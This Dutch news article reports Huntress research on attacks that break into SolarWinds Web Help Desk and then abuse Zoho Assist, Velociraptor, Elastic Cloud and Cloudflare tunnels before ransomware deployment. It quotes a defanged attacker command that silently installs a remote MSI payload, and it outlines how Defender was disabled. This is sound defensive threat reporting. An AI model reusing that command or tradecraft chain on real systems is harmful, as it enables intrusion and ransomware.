Securityonderzoekers waarschuwen voor actieve aanvallen op SolarWinds Web Help Desk. Kwaadwillenden misbruiken kwetsbaarheden om systemen binnen te dringen en vervolgens forensische tools in te zetten als command-and-control infrastructuur. De aanvalsketen eindigt met het voorbereiden van systemen voor ransomware deployment.
De onderzoekers van Huntress observeerden afgelopen week aanvallen die vertrekken vanuit een gecompromitteerde SolarWinds Web Help Desk-instance. De aanvalsketen begon bij wrapper.exe, de WHD-service wrapper, die java.exe opstartte. Het Java-proces lanceerde vervolgens cmd.exe om stil een externe MSI-payload te installeren via het commando msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi.
De aanvaller maakte gebruik van Catbox om een Zoho ManageEngine RMM-agent te plaatsen. Deze legitieme remote management-tool wordt vaak misbruikt voor toegang tot gecompromitteerde omgevingen. De Zoho Assist-agent geconfigureerd voor onbeheerde toegang, waarbij de gecompromitteerde host werd geregistreerd bij een Zoho Assist-account gekoppeld aan het Proton Mail-adres esmahyft@proton[.]me.
Van RMM naar forensische tools
Direct na installatie van de RMM-agent begon de aanvaller met hands-on-keyboard activiteit. Via het RMM-agentproces (TOOLSIQ.EXE) voerde de aanvaller Active Directory-verkenningscommando’s uit om machines te inventariseren.
Kort na de eerste verkenning implementeerde de dreigingsactor Velociraptor op de gecompromitteerde host. Deze open source digital forensics- and incident response-tool werd geïnstalleerd via een stille MSI-uitvoering vanuit een door de aanvaller gecontroleerde Supabase storage bucket.
Velociraptor is ontworpen om defenders te helpen met endpoint monitoring en artefactverzameling. De features voor remote command execution en procesuitvoering via VQL-queries maken het echter net zo effectief als C2-framework wanneer het naar door aanvallers gecontroleerde infrastructuur wijst.
Infrastructuur met herkenbare patronen
De aanvaller gebruikte Velociraptor versie 0.73.4, een bekende verouderde versie met een privilege escalation-kwetsbaarheid die ook in eerdere campagnes is waargenomen. De Velociraptor-server-URL maakt gebruik van een Cloudflare Worker van hetzelfde Cloudflare-account dat eerder werd gezien bij meerdere intrusions met ToolShell-exploitatie en Warlock ransomware-implementatie.
Met de Velociraptor-agent geïnstalleerd als Windows-service begon de aanvaller een snelle reeks gecodeerde PowerShell-commando’s uit te voeren. Dit patroon is consistent met Velociraptor’s standaardmethode voor het uitvoeren van PowerShell op endpoints, waarbij commando’s base64-gecodeerd worden (UTF-16LE) om problemen met speciale tekens te vermijden.
Elastic Cloud als victim management dashboard
Bij het eerste verkenningsproces voerde de aanvaller een PowerShell-script uit dat uitgebreide systeeminformatie verzamelt en deze rechtstreeks naar een door de aanvaller gecontroleerde Elastic Cloud-instantie stuurt. Het script draait de PowerShell-cmdlet Get-ComputerInfo, die gedetailleerde systeeminformatie retourneert, waaronder OS-versie, hardwarespecificaties, domeinlidmaatschap en geïnstalleerde hotfixes.
De data wordt vervolgens als NDJSON geformatteerd en naar een Elasticsearch systeminfo-index gepusht via de Bulk API met een hardcoded API-sleutel. Het gebruik van Elastic Cloud als data-collectiebackend is een opvallende tradecraft-keuze. De aanvaller heeft in feite een eigen SIEM gebouwd met Elastic. Elk gecompromitteerd systeem rapporteert zijn volledige systeemprofiel aan een gecentraliseerde Elasticsearch-instance die de operator op schaal kan doorzoeken via Kibana.
De aanvaller installeerde vervolgens Cloudflare-tunnels rechtstreeks vanaf de officiële release-URL van GitHub. Dit biedt een extra tunnel-based kanaal naast de bestaande Velociraptor C2-verbinding.
Na een pauze van ongeveer 84 seconden schakelde de aanvaller beveiligingscontroles uit via registerwijzigingen. Ongeveer een seconde na het uitschakelen van Defender downloadde de aanvaller een nieuwe kopie van de VS Code-binary van een Supabase-bucket.